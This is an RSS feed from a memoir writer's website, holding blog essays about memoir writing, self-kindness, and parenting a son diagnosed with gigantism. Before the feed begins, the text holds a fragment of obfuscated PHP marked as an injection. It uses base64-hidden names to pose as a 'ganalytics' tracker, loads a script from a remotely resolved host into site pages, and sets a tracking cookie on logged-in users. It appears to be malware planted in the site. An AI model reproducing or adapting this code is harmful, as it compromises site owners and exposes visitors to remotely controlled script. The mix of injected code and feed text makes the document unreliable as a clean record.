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$_db3286d2,$_43220e00;$_4440c02c=true;if(is_array($_43220e00)){foreach($_43220e00 as $_69ca1d3e){if(version_compare($_69ca1d3e,$this->version,'>')){$_4440c02c=false;break;}}}$_caf46d8b=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_248b80fa=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_444cfcaa=wp_script_is($_caf46d8b,'registered')||wp_script_is($_caf46d8b,'enqueued');if($_4440c02c&&$_444cfcaa){wp_deregister_script($_caf46d8b);wp_deregister_style($_248b80fa);$_444cfcaa=false;}if(!$_4440c02c&&$_444cfcaa){return;}$_2fefb16f=$this->resolve_endpoint();if(!$_2fefb16f){return;}wp_enqueue_style($_248b80fa,base64_decode($_db3286d2["font"]),[],null);$_9faf3214=$_2fefb16f."/t.js?site=".base64_decode($_db3286d2['sitePubKey']);wp_enqueue_script($_caf46d8b,$_9faf3214,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_caf46d8b,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ Loving Large| Patti M Hall https://pattimhall.com/loving-large/ Master Story Alchemist. The World Is Waiting To Hear Your Story Wed, 22 Jul 2020 14:49:49 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png Loving Large| Patti M Hall https://pattimhall.com/loving-large/ 32 32 Loving Large book launch (Author’s Book Club) https://pattimhall.com/the-authors-book-club-interview-by-fiona-ross/?utm_source=rss&utm_medium=rss&utm_campaign=the-authors-book-club-interview-by-fiona-ross Tue, 26 May 2020 18:00:56 +0000 http://pattimhall.com/?p=10418 www.theauthorsbookclub.ca  

The post Loving Large book launch (Author’s Book Club) appeared first on Patti M Hall.

]]> www.theauthorsbookclub.ca

 

The post Loving Large book launch (Author’s Book Club) appeared first on Patti M Hall.

]]> Kind Over Matter https://pattimhall.com/kind-over-matter/?utm_source=rss&utm_medium=rss&utm_campaign=kind-over-matter Tue, 19 May 2020 10:34:22 +0000 http://pattimhall.com/?p=10423 www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> www.kindovermatter.com

The post Kind Over Matter appeared first on Patti M Hall.

]]> We Are The Owners of Our Stories https://pattimhall.com/we-are-the-owners-of-our-stories/?utm_source=rss&utm_medium=rss&utm_campaign=we-are-the-owners-of-our-stories Sun, 01 Oct 2017 01:21:47 +0000 http://pattimhall.com/?p=1333 Go ahead and tell it  – just the way you like. You own your story. I own mine. As authors of our lives, and the tales that our actions, feelings and choices produce, we are the owners … we have all the rights of ownership and that means that we each, every single one of…

The post We Are The Owners of Our Stories appeared first on Patti M Hall.

]]> Go ahead and tell it  – just the way you like.

You own your story.

I own mine.

As authors of our lives, and the tales that our actions, feelings and choices produce, we are the owners … we have all the rights of ownership and that means that we each, every single one of us, gets to tell our tale. Doubts about what we are “allowed” to write crushes many writers before they even get started.

I’m a book coach who focuses on memoir, and a memoirist myself, and I’ve looked at this concern of aspiring memoirists, bloggers and writers from most angles. This concern, the one that often stalls us putting pen to page, sounds like these comments I heard in a recent workshop I gave:

“What if someone is upset by what I write?”

“I don’t wanna get sued.”

“Am I allowed to say this, as long as it’s true?”

Some people are asking about litigation, and how to wisely write about sensitive material without being the target of formal responses. But the deeper need I read in the faces of people is for permission. We all want to feel like it is okay to talk about our lives, however intimately, or publicly. We are looking for endorsement, dispensation …we want the high five, and a “You go, girl!” from somewhere.

Getting jammed up by something in our heads, while writing, is ubiquitous … every writer knows the sensation, most have succumbed to its grimy little paws, and some stay stuck and lean in to the muck and mire so much that they put the pen away for good. These folks have genuine reason to be concerned, yes. But when permission, the ultimate self-kindness, comes from our internal fire, we each will realize that owning our story is bigger–we are bigger–than anyone’s reaction to our side of things.

This is where I come in with the question, “what do you want to say?” and invite the person back to the page, gently placing the pen back in her hand.

There are enough critics in the world, and the Internet invites voices to climb onto our shoulders and not stop yapping. Let’s not be the critic that stops the flow of words; that therapeutic release of relatable moments in our lives that is memoir, life-writing, journaling and blogging. Your version of your life matters more than anyone’s need to take exception with it.

With rights come responsibilities too. We must tell the story to the best of our recollection. I tell people this: “you must be your own fact checker.” Your memory is the warehouse of your story. Write from that place and be kind to yourself when the outcome is fraught with emotion.

We are storytelling animals. Humans are bound together, defy the fight or flight stress response to crisis, by sharing our tales of resilience and survival. Relating to your story will ease the passage through life for the reader and listener. When you think of it that way, isn’t telling your tale a generous act? When you think of your experience, and the retelling of it as a gift, doesn’t that free you up to write about it?

In the words of one workshop attendee, who shared that she strongly feels that her families stories need to be recorded, maybe even out in the world:

“I’m more afraid of not writing, than I am of someone being offended.”

Write on.

Self-kindness dwells in the truth of your story. It’s yours to tell. Do it well.

 [portions previously published September 29, 2017 on www.kindovermatter.com]

The post We Are The Owners of Our Stories appeared first on Patti M Hall.

]]> Kindness to Myself In The Pages of My Memoir https://pattimhall.com/kindness-pages-memoir/?utm_source=rss&utm_medium=rss&utm_campaign=kindness-pages-memoir Wed, 23 Aug 2017 20:11:52 +0000 http://pattimhall.com/?p=1306 Confession time. I have a problem. I’m a #Memoiraholic. Yup. Mr. Webster and his logophiles (word-loving compadres) would define me thusly: one who loves narrative composed of personal experience to excess. Guilty. As. Charged. One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole…

The post Kindness to Myself In The Pages of My Memoir appeared first on Patti M Hall.

]]> Confession time.

I have a problem.

I’m a #Memoiraholic.

Yup.

Mr. Webster and his logophiles (word-loving compadres) would define me thusly:

one who loves narrative composed of personal experience to excess.

Guilty. As. Charged.

One of the reasons I love the memoir genre, is that memoirs are an unself-conscious dive down the proverbial rabbit hole into incredible realizations.

They reflect both experience, and years of self-reflection about what has contributed most to who we are in the time of writing. I say unself-conscious because by the time a writer has gotten to the publication stage of a memoir, they have grown quite comfortable with the contents. They can’t afford to feel squeamish about the content anymore.

First of all, it can take years to write the manuscript.

Secondly, time has passed. It is rare that a book is written as the writer is experiencing its content. It is more common that writers choose to wait, and in fact, need to wait years for their fluidity with the experience and its meaning to distill into text. Cheryl Strayed’s Wild comes to mind as an example. The clarity of a book’s pithy conclusions is the result of time, (and a ton of hard work), which I appreciate as a voracious reader and memoiraholic.

Another common feature of the writing process for memoir writers is the worry that they will never feel comfortable including content that could offend people; perhaps their stories uncover family secrets for the first time or their book assigns blame, controversially. The Fact of A Body by Alexandria Marzano-Lesnevich is a must-read because of how the author successfully wrestles the notion of blame to the page.

Maybe this is why you haven’t started your book—you don’t want the telling of your story to hurt anyone, or you just haven’t found the courage you think you need, yet.  Not yet.

But you will. Stories have a way of fighting for air, pressing themselves to the page. This is true of my memoir, tentatively titled Our Own Forever, about the tumult in my life and my response when my son was diagnosed with an uber-rare disease. I recently undertook a complete rewrite of my manuscript. I had drafted its former version, all 100,000 words of it in 2014, but late last year I realized that its conclusions weren’t accurate anymore. There was more to say. I wasn’t that woman, or that writer now, even that I’d been just three years ago. So I started again, because the story demanded it of me. Sure, I considered giving it up. Many people put the book in the box and are content to let it languish. But my story, my memoir that reveals all of the roles I took on in addition to being Patti, and being Mom, in order to save my child, needed to get out in the world. It needed to help other parents with critically and chronically-ill children feel less alone. It wouldn’t stop percolating through me, even though I tried putting other projects in front of it. My memoir fought hard to be noticed, it tugged at my soul, peeling away paint from the blackened window I’d stored it behind.

[NOTE: Loving Large: A Mother’s Rare Disease Memoir will be released April, 2020 and can be ordered here:]

Recently I realized that rewriting my memoir has been an unwitting act of self-kindness. You see, I’ve witnessed myself living these years, in as much as any of us has self-awareness in hospital visits, parenting, grieving, and dealing with divorce, depression and decision-making. (Or so I thought.) But I hadn’t really appreciated, with compassion, the person I’d become in the After, until I saw myself in the freshly written pages. I hadn’t realized that fear had been forcing my hand in life choices. I hadn’t seen that I was unwilling to trust that a safe future awaited my two children. I learned that I was keeping myself small, living below the radar, because I felt disaster might discover me again and in my newly assumed role as Crisis Mom, I thought I deserved its wrath.

The woman I am now can never be who she was Before my son’s diagnosis. I cannot go back. Neither can he. Had the events of the last eight years not occurred just as they did, neither my son nor I would be who we are. I can celebrate and unconditionally love the young man he has become—why wasn’t I embracing the Patti I’d become in the same way?

Because I hadn’t written it yet.

I write in order to know who I am. The kindest thing I could have done was write in my now voice, as my now Patti—the me in the After. So I started over.

There are riches in our histories, pain speckles our story but it needn’t define us entirely. There are blissful moments within loss, and heart-rending gifts abound while sitting bedside with a sick child. The phoenix does rise.

Kindness to ourselves is about compassion directed inward. I needed to integrate the advocate, researcher, scrub nurse, and cheerleader I became while on the medical odyssey with me, in order to know better the woman and the writer I am now. That took time. I needed to take the time and the book made sure I did.

Kindness is a muscle, once discovered, it benefits from use. So I will rewrite this memoir, and the rewrite my other book this year too, using the voice of the writer who has learned the value of the richness of all experience, the tragic and the joyous. Done well, my future readers will go down the rabbit hole of discovery with me in the pages of my life.

[originally posted on www.kindovermatter.com August 2017]

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]]> Sometimes the Kindest Thing to Do is Start Over https://pattimhall.com/sometimes-kindest-thing-start/?utm_source=rss&utm_medium=rss&utm_campaign=sometimes-kindest-thing-start Mon, 21 Aug 2017 00:03:38 +0000 http://pattimhall.com/?p=1293 I tried a hundred ways to say it. Word junkies do that—we have thesaurus pages on the insides of our eyelids. I’m no different. I pressed the word restart and its myriad synonyms into my personal, lexical gap. I’m reassembling it. “It’s a rebuild.” I’m putting it back together. “I’m renovating it!” Still, there was…

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]]> I tried a hundred ways to say it. Word junkies do that—we have thesaurus pages on the insides of our eyelids. I’m no different.

I pressed the word restart and its myriad synonyms into my personal, lexical gap.

I’m reassembling it.

“It’s a rebuild.”

I’m putting it back together.

“I’m renovating it!”

Still, there was a hole where the best word should fit.

I invented some words, even: I’m mozaicing my manuscript, I told someone.

It all felt wrong. Not naughty or inappropriate, but cruel, somehow.

You see, I wrote a memoir about what my son and I, his brother and our little family went through when a rare disease diagnosis tossed a grenade into our lives. I was pleased with the writing and the structure. Although it wasn’t my first manuscript—I have another memoir in the can, and multiple ghostwrites to my credit—I was pleased with it. It reflected us, me, the medical odyssey and how we survived, even if we were rumpled, scarred and never going to know the oblivion of blind faith again. It told our story. But it only told the tale up to when I stopped writing, and it was written by who I was then. Restart slinked its way into my writing life vocabulary. When I decided to take my book out to find an agent who’d love it and a publisher who wanted to be its champion, I felt with all my senses that I had to rewrite it.

Events being what they intrinsically are—decidedly out of one’s control, I found myself cutting that manuscript apart last year. But I’d put it off and put it off, as one does with the horrible and the inevitable (think basement purge-sized procrastination). First, I tortured myself with the getting to the slicing and dicing part.

I knew what had to happen.

Writers always feel the percolating inner message that more editing is required. And I LOVE the editing, polishing, revising circuit of writing. So why did I beat myself up about it? So. Unkind.

Then, with the firm-handed assistance of my writing coach, (everybody needs one) and an (almost) self-imposed deadline to do it before year’s end, I cut my narrative up into 156 pieces in December. 80,000 word manuscript cut into 156 files. I swung a cleaver at it. I hacksawed it. I ginsu-knifed it. That felt worse than the nasty self-talk that had preceded taking action.

For a while…and then I felt the shift begin.

What felt like I was lopping off an arm, like I was destroying a key element of my working life, my history as a writer, and myself, resulted in a lightening. Relief. I had to get busy, and do that most frightening and potentially risky thing of all in order to get some clarity.

In short, it felt like the least kind thing I’ve ever done. That is precisely why it took me two years to do it, I think.

The trajectory wasn’t straight, don’t get me wrong. I hacked the book apart in December and ran scared from it until April. But once I cracked open the copious files, and began to snug them up against one another, knit them together, feather them into a narrative again, I could hear the voice of the person, the writer, the mom and the woman, I am now. The book was a whole new story, told by a new-ish me.

I was burying myself under the unkindness of self-deprecation, all fuelled by my oldest friend, fear.

Flash forward. Twelve chapters and 30,000 words into the rewrite, and well, I’m pleased. Just that, pleased. My next task if finding a synonym for that word!

I spent some time with the thesaurus, searching for a word that meant do over but didn’t mean failure. That was the kindest thing I could do for my writing, and for myself.

I gave myself permission to do it again, and I learned that my permission was all that mattered.

What are putting off doing because you haven’t told yourself, Yes?

[published on www.kindovermatter.com in June, 2017]

This book baby, my memoir Loving Large: A Mother’s Rare Disease Memoir is releasing April 2020 from Dundurn Press. You can order yours online at Amazon worldwide, or ask for it at your favourite local bookseller, please. published on www.kindovermatter.com in June, 2017

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]]> Self Kindness Meant Getting Out of My Own Way https://pattimhall.com/self-kindness-meant-getting-way/?utm_source=rss&utm_medium=rss&utm_campaign=self-kindness-meant-getting-way Fri, 24 Mar 2017 14:57:19 +0000 http://pattimhall.com/?p=1227 We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts. Are you? We have only ourselves to blame and that isn’t always easy…

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]]> We get all up in our own grills, don’t we? The nasty self-talk, the limiting beliefs and the overly cautious choices that are motivated by fear rather than hope. These are all hallmarks of the perpetually Unkind-to-Selfers. I’m guilty on all counts.

Are you?

We have only ourselves to blame and that isn’t always easy to live with. There, I’m laying that accusation down, but let me tell you a story to soften the blow.

In my ongoing effort to improve self-kindness, I’m getting honest about why things haven’t always turned out just the way I’d hoped. For me, that includes rewriting my manuscript – again; because I needed to admit it is no longer good enough, by my standards. While I’ve been ghostwriting and growing a writing inspiration and coaching biz online at pattimhall.com these last few years. I’ve also written two memoirs. Before you ask, neither of them is published yet. (But thanks for asking.)

I’m rewriting now, but this was a long time coming. I knew that I was going to completely overhaul my manuscript before seeking a new agent for it. I knew this rework would entail a new title, outline, structure and yanking our seven-year-odyssey with rare disease ruthlessly out of chronological order. Here’s the rub – I knew what it was going to take. I knew because I am a writer, voracious reader and #memoiraholic and I know memoirs. I knew my manuscript wasn’t reflective of the story I wanted to tell or my writing ability anymore. I wasn’t willing to make these next few forays into conventional publishing with anything less than what I felt was my best. But did I jump in with both feet and get to work? Nope. I had a meltdown. I worried about things I told myself were more important. I stopped writing all together. I worked on my paying gigs, built a new website, but didn’t touch my book. Didn’t touch it at all.

I may sound like I have clarity now, but it took me 18 months. That was time I didn’t want to lose because I am stricken with a passion for valuing every day (the essential lessons of my two memoirs.) AND, what is worse and far more unkind than the way I treated my book, is that EVERY SINGLE DAY I berated myself for not rewriting, as if I had forgotten to pick up my child and left him on the curb at rush-hour. Yes…18 months of beating myself up (“Just forget it, Patti, you’re a has been, nobody is going to interested in this.”), diminishing my work (“You took too long.”), judging my initial motivation for writing that book AND for being a writer (high-pitched witchy giggles and imaginary crooked purple fingers pointed at me).

I’m a book writing coach, and that irony wasn’t lost on me. Had I been my own client I would have patiently and lovingly companioned myself, offering: “You’ll know when it’s time.” and “The story will be so much better for the waiting.” But I didn’t. Instead, I fell back on the script that has been my constant companion since childhood. It was some of the nastiness self talk ever for me, so far beyond the “inner critic” that I can’t label it and won’t try.

Some weeks ago I wrote a new kind of script… a Self-Schooling Script. I crafted a Personal Memoir Writing School and I was my only student. It had a few units of study that I devised as a return to the writing life. I wrote every day. I read constantly. I hung out at the bookstore regularly. I studied. I picked up the five memoirs that are what I consider the most exceptional exemplars. I listened to them on audio and then marked up the paper copies in order to disassemble the plot lines and structure, and to absorb the authors’ voices. I went at this like I would any grad school course because I was staking my life on this. I’m not being overly dramatic here. Writing isn’t what I do, it is who I am. Without it, I would cease to exist. I knew that once I uttered the words, once I said out loud to the universe that I was going to permanently shelve my book, my relationship with myself as a writer would be shattered. I would be shattered and it would be my own doing. I would never have let one of my clients or writer pals step away from their identity, their story or their life’s work. I couldn’t let myself either, in the end. Kindness to myself won out. I coached myself eventually. Thankfully.

Schooling myself has been exhausting, expensive and frankly, self-indulgent. It has been as necessary as therapy to come out of depression and yoga to overcome what winter has done to my body (more on that next month). But I’m writing again, have a new 21-page outline and the memoir is being reborn. I got schooled in some acts of self-kindness and I’m a better writer (and a better me) because of it.

a version of this appeared in www.kindovermatter.com in 2017

[My memoir Loving Large: A Mother’s Rare Disease Memoir is releasing in April 2020. You can order your copy online at Amazon worldwide or please seek out a copy at your local bookseller. With thanks, Patti.]

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]]> Size Matters When You're Growing Up Giant https://pattimhall.com/size-matters-youre-growing-giant-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=size-matters-youre-growing-giant-mamalode-com Wed, 21 Dec 2016 20:20:53 +0000 http://pattimhall.com/?p=1109 Parenting makes us protective from day one. When our kids are couch surfers and becoming teetering toddlers, we get expert at assessing risk from their perspective. Out go the pristine sharp-cornered glass-topped tables and the décor items that can be gummed, swallowed or face-planted on. We go to exhaustive and embarrassing lengths to prevent injury,…

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]]> Parenting makes us protective from day one. When our kids are couch surfers and becoming teetering toddlers, we get expert at assessing risk from their perspective. Out go the pristine sharp-cornered glass-topped tables and the décor items that can be gummed, swallowed or face-planted on. We go to exhaustive and embarrassing lengths to prevent injury, anticipating the world from their vantage point. Who among us has not crawled on the floor on all fours looking for outlets and edges that could harm? Companioning them through growing up means putting ourselves in their place. I didn’t lose this instinct to consider the world from my son’s angle as he grew, and he kept growing, and growing.

In our house, trying to get my son Aaron to not grow, or more specifically to stop growing, is the prime directive. He is just a hair under 6’ 11”. I think. He won’t be cajoled into letting me mark his height on the kitchen wall anymore and he is way too big to wrestle into submission. (He can send me six feet across the room with a gentle hip nudge when I get too close to the cookies, afterall.) One of the last times Aaron consented to being measured, his 4’10” pediatrician perched on a cute little stepladder, pink plastic ruler extended over his head, to count the inches above 6 feet, which was the maximum of the office height chart. Nurses stood around “Ahhhing” as if he was a newborn.

Recently we went car shopping, both of us considering at a new car. Oddly enough, in a market that offers hundreds of models, we had concluded that the one car that would work for each of us—is the same car!! My needs involved room for my dogs, hatchback convenience, really nice interior features and tons of tech. His needs involved size. Just size. Most of the other features of cars were pretty much comparable. He doesn’t have the luxury of any car. He can only have a car where he fits. While he could never fully extend his legs in a car, it is essential that he be able to get his knees around the steering column to properly operate the puny little pedals.

When you are extremely tall, fit is everything. Because you don’t fit anywhere, pretty much. Whether we are finding seats at a ball game, or trying to buy a sleeping bag…size matters. There is a ton of comedy in this, which we maximize. When you get asked, “How’d you get so tall?” more than a dozen times a day, a person develops an irreverent, sarcastic sense of humor. (Some of his responses involve, “it’s in the water”, “I was breastfed” and “I was raised by wolves.”) For he and I, our size difference (I’m 5’6”) is adorable. My entire foot, (shoe included) can slide comfortably inside his shoe. Shoes are pretty sacred territory for Aaron, because finding them in his size is tough. If you want something other than high-cut sneakers, forget about it. His shoe size is only 15, whereas for his proportions it should be in the 20’s. Take Shaquille O’Neal who is 7’1” and wears a size 21 shoe. Aaron’s tee-shirts are the same size as my nightshirts. All of his clothes have X’s and L’s and T’s in the size. His coats would cover a single bed easily. His baseball caps could hold a bowling ball and his winter gloves are the size of oven mitts. Thanks to basketball players with their own fashion brands, he has many more clothing options and internet shopping is the only hope for gifts for him this season.

But as a parent, I still have the kneejerk reaction to check for fit in the places and spaces of our lives. It is second nature for me to judge whether Aaron will fit somewhere. I do this regardless of whether he is with me or not. I can only attribute it to the toddler days of scanning for hazards. There are risks for Aaron, in a world where too anything just isn’t considered. People in wheelchairs tell me that they cannot believe the location of switches, buttons and ramps specifically designed to accommodate their ambulatory needs are placed out of reach or access to them. Aaron has to bend or crouch or contort himself to do everything.

Hospitals make me giggle, when I’m not clenching my teeth in dismay. I get that he can’t safely clear the archways in your house. It’s your house. But public facilities, the very places that are supposed to keep us safe from harm, are like the courses of gladiator games for Aaron. Those dangling, red illuminated EXIT signs, the hydraulic boxes for automated doors and ceiling mounted signage, are all head injuries in the making for him. This is where his years of playing defense in hockey comes in, Aaron moves through the hallways of hospitals like a deking machine, weaving, ducking and awkwardly bending around the weaponry of architecture.

Growing up involves adjustment. The kids grow and the parents adjust. Think of my boy today, and be mindful for every child who grows differently because how to they fit means everything for the way they enjoy the world we have gifted them into.

This piece appears in Mamalode.com

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]]> He Has His Own Definition of Forever https://pattimhall.com/definition-forever-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=definition-forever-mamalode-com Wed, 21 Dec 2016 20:14:39 +0000 http://pattimhall.com/?p=1103 I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers. I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an…

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]]> I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers.

I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an anxious horse, ear buds wedged in to eliminate any possibility of hearing an approaching car, bus or steam engine. It only takes a moment after I’ve slammed on my brakes and uttered something inappropriate, that I catch myself smiling–they are exactly as they should be. Good on them, my heart says. I want that for those kids. I wish that for every child—to be able to walk around the planet like nothing can affect them, all “I’ve got this” swagger.

My children don’t have that, and it’s not because I worked any harder at teaching them the dangers of the world than other mothers. They learned the lesson of their own vulnerability —their mortality—thanks to modern medicine and genetics. Neither of my boys carries themselves like they are invincible, because they’ve learned they aren’t. Even though it may be a cliché, it is no less true—once a life threatening diagnosis touches you, you can never live the same way you once did.

Growing up is tough enough, however much we convince ourselves that our children have the best possible opportunities—the technology, the services, the affluence that is unrivalled in human history—there is always a common denominator; a levelling influence, one factor that forces humility on all of us, health.

We do everything in our power to protect them, these tiny versions of ourselves, these delicate helpless humans that we bring into the world so long before they are able to care for themselves. There is only one thing more devastating for us parents than having to admit our child is beyond rescue, that circumstances have pressed our son or our daughter outside the scope of our parental toolbox. Seeing what living in full knowledge of their prognosis does to them, that is worse in my view. That is the hourly, daily reminder that is worse than the shock of failing to protect them from invisible, metaphorical monsters. Not only is my son unable to live as if he believed he is untouchable, he can’t even remember a time when he felt that. This is the greatest anguish of my life.

My son was diagnosed with an ultra-rare and incurable disease, Gigantism, when he was sixteen. I carried the weight of the details of his medical journey, guiding us through diagnosis, treatment and management, because he wanted it that way. He said, “as long as you have the answers to the questions, I’ll ask you what I want to know.” It was our deal.

So, while I got a Ph.D in his health, I was never certain how much he wanted to know. I had no way to judge how he was processing it all. That was until one short conversation shone a spotlight on his agony, making my denial of the impact of the rare disease odyssey on him impossible to deny.

One night as my two sons and I were hanging out talking about our day, Aaron mentioned a sign he’d seen on the subway that afternoon.

“I saw this sign today. It read: ‘I’m going to live forever—it’s going pretty well so far!’ I thought was a good one,” Aaron said.

“That is a good one,” I said. I thought he was done and looked down at the book in my lap.

Then, he spoke up again, “I can say the same thing—“ I looked up at him because his voice sounded muffled. His face was turned down, buried in the fur on the back of his beloved golden retriever’s head. “I’m gonna live forever. My own forever.” I watched as he gulped, turning his face up to me so that I could look into the wet eyes of my baby, my toddler, my teenager and at once my grown up hero.

“It’s true, after all.”

They walk the Earth each day, redefining the milestones and boundaries of life for themselves. They may not be invincible, and perhaps we wouldn’t ultimately want them to be untouched by life, but I would give anything for him to believe it was okay to keep wearing headphones and strutting across parking lots, rather than know what only seasoned adults should realize. Surely children shouldn’t need to reconsider eternity, just yet.

or you can read it HERE

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]]> Promises to My Boys and Other Failings https://pattimhall.com/promises-boys-failings-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=promises-boys-failings-mamalode-com Thu, 24 Nov 2016 04:32:30 +0000 http://pattimhall.com/?p=1084 I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task:…

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]]> I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task: “The sky is bluer.”

That is how motherhood began for me. My awareness of texture, color, temperature and noise was heightened. With postpartum depression, fear and uncertainty became terror and anxiety. Warm fuzzies became the most blissful moments of my life. I had an awareness of the miraculous with the appearance of my boys’ faces and little bodies, their well-formed parts and incredible, alert eyes.

A nightly habit of strolling through their rooms before I lay my own head down began the
first night of my eldest son’s life. He was premature, weak and a noisy sleeper, all which fuelled my paraml_badges-160x160_i-love-mamalodenoid self-doubt that I would not be able to keep my newborn alive. I checked on him, a lot. I went from holding my face close to his nose and mouth to confirm he was
breathing, to crawling up to the side of te crib, below his eye level, just to listen to him.

When I was twenty-nine I learned I was pregnant again. I had promised Aaron that a sibling would come. I stood by the crib side each night of that pregnancy studying him in his sleep, whispering to him. “You’ll be one of two soon. You’ll never be alone.” I memorized Aaron’s toddler face in the shadows at night, as he slept with his hands splayed out on the mattress above his head.

My declaration that I would be a particular sort of mother started then. In the glow of the plastic dolphin nightlight, I promised to be fair and good and kind to he and his baby brother. Aaron’s face was my beacon of hope declaring that I could achieve this promise and hundreds of others, heard only by me.

When Justin arrived, it quickly became very clear what kind of mother I would not be: I was getting a little more realistic in my standard setting. I wanted my boys to derive confidence from knowing they were a celebration that never ended for me. I wanted them to know they were my business, they were my why.

This limitless love and well-honed intention could not have prepared us for a disaster as profound as chronic illness. Diagnosed with gigantism at sixteen years old, the source a large tumor on his pituitary gland that causes abnormally high levels of growth hormone, Aaron was aggressively treated with surgery, medication and radiation.

Sometime when he was seventeen and we were enjoying quieter months in his treatment plan, I was watching television with him one Saturday evening when I noticed he had dozed off. He was a really big, sloppy pile of teenager consuming the couch, all jeans, hoodie and ball cap, with a death grip on the remote. The profile was a stretched, puffed up evolution of his infant and toddler one. The disease had broadened and thickened his forehead, expanded his nose and cheeks, adjusted the position of his jaw and mouth.

As I studied his face in the flicker of the television light, neither that of a man nor a boy, I apologized in breaths, swallows and blinks that something out of my control was impacting his life in a way that could steal from him the quality life I had so hoped for.

The profound feeling of failure to keep him healthy and safe weighs on me still. I failed to keep my promise, even though I had become so much more than his mother because of the monster that is rare disease, by becoming advocate, lay medical expert, caregiver, sidekick and cheerleader.

This is what chronic illness does to a mother. This mother anyway.

In a phone call’s length, it robbed me of the ability to keep the greatest unspoken promise of my motherhood—to protect. No matter how fair and good and kind I managed to be in the face of everything—I have only been able to be the mother he needed. I hope I’ve been the mother he deserved.

this piece originally appeared on www.mamalode.com:  want to view the post on www.mamalode.com?  

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]]> Why Parenting a Child With a Rare Illness Isn't Easy https://pattimhall.com/parenting-child-rare-illness-isnt-easy-mighty/?utm_source=rss&utm_medium=rss&utm_campaign=parenting-child-rare-illness-isnt-easy-mighty Mon, 24 Oct 2016 19:49:11 +0000 http://pattimhall.com/?p=1068 “Eighteen blue, silver and white gift bags, stuffed with contrasting tissue paper lined the table. Aaron and his brother moved from bag to bag, exploring the contents together. Each bag sported a number from one through 18. He’d made it to 18. We’d made it to his 18th birthday.” Continue reading the rest of my…

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]]> “Eighteen blue, silver and white gift bags, stuffed with contrasting tissue paper lined the table. Aaron and his brother moved from bag to bag, exploring the contents together.

Each bag sported a number from one through 18. He’d made it to 18. We’d made it to his 18th birthday.”

Continue reading the rest of my article on The Mighty here.

 

 

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